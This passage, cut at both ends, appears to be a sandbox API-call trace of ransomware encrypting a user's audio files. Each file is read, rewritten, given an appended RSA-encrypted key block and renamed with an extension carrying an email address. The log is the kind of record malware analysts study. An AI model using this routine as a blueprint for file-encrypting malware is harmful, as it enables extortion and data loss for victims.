"c:\\users\\fd1hvy\\music\\_g9q9vc.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0148.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0148.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be8f0 [0148.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.006] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.006] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\z5CR7h5_U.mp3", dwFileAttributes=0x80) returned 1 [0148.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bea50 [0148.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0148.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bea50 | out: hHeap=0x570000) returned 1 [0148.007] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\z5CR7h5_U.mp3" (normalized: "c:\\users\\fd1hvy\\music\\z5cr7h5_u.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0148.007] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=73567) returned 1 [0148.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11f5f) returned 0x631898 [0148.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11f5f) returned 0x643800 [0148.007] ReadFile (in: hFile=0x5f8, lpBuffer=0x631898, nNumberOfBytesToRead=0x11f5f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x11f5f, lpOverlapped=0x0) returned 1 [0148.009] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-73567, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.010] WriteFile (in: hFile=0x5f8, lpBuffer=0x643800*, nNumberOfBytesToWrite=0x11f5f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x643800*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11f5f, lpOverlapped=0x0) returned 1 [0148.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x643800 | out: hHeap=0x570000) returned 1 [0148.011] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11f5f [0148.011] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.011] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.011] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.011] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.012] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.012] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="bvora+mWyJcULeQ7xx2SHzToM51W8c+fPv1gzmOYmh+Yg6ntR8oCxM2xNQYSJMI3\nDD2ykU8k6PqVd8GtIWJrW/2rrgThC+c1OwZzu6LsHd73qDpNu5FeMgna3+EEsmF7\nXZ+6fUr1jeNRdV34GzvIXHOLfvavD1B7sk6sXiBGmK4knqXLOn7nmMn1QANZpvFe\nON6yNh98epOWrXK0FroU26QyoNRyj4JMoCIKdlPWRWB2IrjqKZFyKRL6FA53Kk9s\nrK1/VeEknkw0MQHxqzo7mp2595ia9pBX/+QAnGklSdfEXX4DSuwZUj6G2xcVd8n8\n8X5pQH1sWduslPaT1m9Jrg==\n", pcchString=0x2e3f9a8) returned 1 [0148.012] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.012] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.012] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.013] CloseHandle (hObject=0x5f8) returned 1 [0148.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.013] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\z5CR7h5_U.mp3" (normalized: "c:\\users\\fd1hvy\\music\\z5cr7h5_u.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\z5CR7h5_U.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\z5cr7h5_u.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0148.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0148.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0148.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.015] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.015] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\uv8e.wav", dwFileAttributes=0x80) returned 1 [0148.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0148.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0148.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0148.016] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\uv8e.wav" (normalized: "c:\\users\\fd1hvy\\music\\uv8e.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0148.016] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=64259) returned 1 [0148.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfb03) returned 0x631898 [0148.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfb03) returned 0x6413a8 [0148.016] ReadFile (in: hFile=0x5f8, lpBuffer=0x631898, nNumberOfBytesToRead=0xfb03, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xfb03, lpOverlapped=0x0) returned 1 [0148.019] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-64259, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.019] WriteFile (in: hFile=0x5f8, lpBuffer=0x6413a8*, nNumberOfBytesToWrite=0xfb03, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6413a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfb03, lpOverlapped=0x0) returned 1 [0148.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6413a8 | out: hHeap=0x570000) returned 1 [0148.019] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfb03 [0148.019] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.019] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.020] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.020] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.020] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.020] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="YbPy8jKujNMpYld8I3OfrFfgcWHWDhNl9eqfE79h3EpDz57XOuhz75Uf2GUWv+KT\nFn78QUPZaoMazUAQhjZ90GeBvT+kueS+rZonUssai+Bm7rAF5L/Eu9nc4YBEcksl\n63+t0NapIsUWfZO4PlTkOWNfOLlrUYv3qhO7xj0z+QMpFLRHFCc5Oi058UmoqeJ6\n+wDCRaJ2J6oG4vWbYstmsyA7KccNQ6RbmwzYacvkKAUiIIcRCOjVrSJY7UrW2EFk\n25Fiwvt6d/m5hoc9evXPAmm03FU1tuGRaFbiWeUPdCEcg5aepbAoj2QTwg4/VvVm\ngulTllYuSeV6STPB724CWQ==\n", pcchString=0x2e3f9a8) returned 1 [0148.020] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.021] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.021] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.021] CloseHandle (hObject=0x5f8) returned 1 [0148.021] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.021] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\uv8e.wav" (normalized: "c:\\users\\fd1hvy\\music\\uv8e.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\uv8e.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\uv8e.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0148.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0148.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bea50 [0148.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0148.023] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.023] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\lWaPt4uX8vu3_v5.m4a", dwFileAttributes=0x80) returned 1 [0148.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be738 [0148.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0148.024] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\lWaPt4uX8vu3_v5.m4a" (normalized: "c:\\users\\fd1hvy\\music\\lwapt4ux8vu3_v5.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0148.024] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=80835) returned 1 [0148.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13bc3) returned 0x631898 [0148.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13bc3) returned 0x645468 [0148.024] ReadFile (in: hFile=0x5f8, lpBuffer=0x631898, nNumberOfBytesToRead=0x13bc3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x13bc3, lpOverlapped=0x0) returned 1 [0148.027] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-80835, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.027] WriteFile (in: hFile=0x5f8, lpBuffer=0x645468*, nNumberOfBytesToWrite=0x13bc3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x645468*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13bc3, lpOverlapped=0x0) returned 1 [0148.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x645468 | out: hHeap=0x570000) returned 1 [0148.029] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13bc3 [0148.029] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.029] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.029] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.029] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.030] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.030] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="7MIzuE0zBPBeaKlRChzHb0gzpiWykIi0o9LNpmRZXrFhbiUj+uldGY86P8N2ebHK\nduFHQFrV3iZf0E7SZQwSeBm6LMwdcBwJKsDAh+nEPokpREpTqKYR6scAh8+cwbqa\nWFb/iXko0A5OV8YOp7mW/deSgfESYUm06A+X2sEXC6h7JR457Q7QqKIVS7p60mWx\nzavkyIPMqO3EaLtFktPuVKeWwXDYe7YXYS8XRo717b3yMiEk9gR7kJupwtVqlYT9\nnq5Pk+zfLfgGNEzqLSUS28ajYyiuPjRJ9xKRbKE70vJHUtOlK0otY6K0JhMzatG1\npdyjNRbz63k+Aq1nq2ythA==\n", pcchString=0x2e3f9a8) returned 1 [0148.030] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.030] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.030] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.030] CloseHandle (hObject=0x5f8) returned 1 [0148.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.030] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\lWaPt4uX8vu3_v5.m4a" (normalized: "c:\\users\\fd1hvy\\music\\lwapt4ux8vu3_v5.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\lWaPt4uX8vu3_v5.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\lwapt4ux8vu3_v5.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0148.033] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bea50 | out: hHeap=0x570000) returned 1 [0148.033] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0148.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0148.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589900 [0148.033] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.033] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\J-wG9pFE4WWo.m4a", dwFileAttributes=0x80) returned 1 [0148.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bebb0 [0148.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.033] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0148.033] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\J-wG9pFE4WWo.m4a" (normalized: "c:\\users\\fd1hvy\\music\\j-wg9pfe4wwo.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0148.033] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1515) returned 1 [0148.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5eb) returned 0x5b5a90 [0148.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5eb) returned 0x631898 [0148.034] ReadFile (in: hFile=0x5f8, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x5eb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x5eb, lpOverlapped=0x0) returned 1 [0148.034] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-1515, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.034] WriteFile (in: hFile=0x5f8, lpBuffer=0x631898*, nNumberOfBytesToWrite=0x5eb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5eb, lpOverlapped=0x0) returned 1 [0148.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0148.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.035] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5eb [0148.035] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.035] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.035] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.035] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.035] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.036] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.036] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="wU836MwUNcr7qGXy1CS23eo84ToKBNGdh4Gcq4sPyntCGJx8L+IE7uOFBQK2hgiT\neSglWASVMuA4aer6bVVMHqyP0WktUzWnN1mrVW1O6jF9NNcLdwlP6NdzjdlsS1Om\nbQudMkNX33id/bQsxg/Bj+Oz+IWS95iHvG/LQiFdupkmifDQeIIFn1iNIP6efI8k\nwtpZTtE6bmyyMjIHLM8sg8uc/57tfoxVbQFKUUw60ep+giSKD7m8I93BHWUWnyDj\nb7DN+4hiWOVfRSlQNf/UMjS3rM10qE9Ojr3AvRb/UchBOr93uyowGAZLmCUOvYpA\nscKt5oVM5F4LvYNFpbXCLA==\n", pcchString=0x2e3f9a8) returned 1 [0148.036] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.036] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.036] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.036] CloseHandle (hObject=0x5f8) returned 1 [0148.036] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.036] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\J-wG9pFE4WWo.m4a" (normalized: "c:\\users\\fd1hvy\\music\\j-wg9pfe4wwo.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\J-wG9pFE4WWo.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\j-wg9pfe4wwo.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.038] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.038] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589900 | out: hHeap=0x570000) returned 1 [0148.038] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0148.038] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0148.038] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0148.038] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.038] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.038] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\desktop.ini", dwFileAttributes=0x80) returned 1 [0148.038] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0148.038] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0148.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0148.039] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0148.039] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=504) returned 1 [0148.039] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1f8) returned 0x57eca8 [0148.039] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1f8) returned 0x5c1ce8 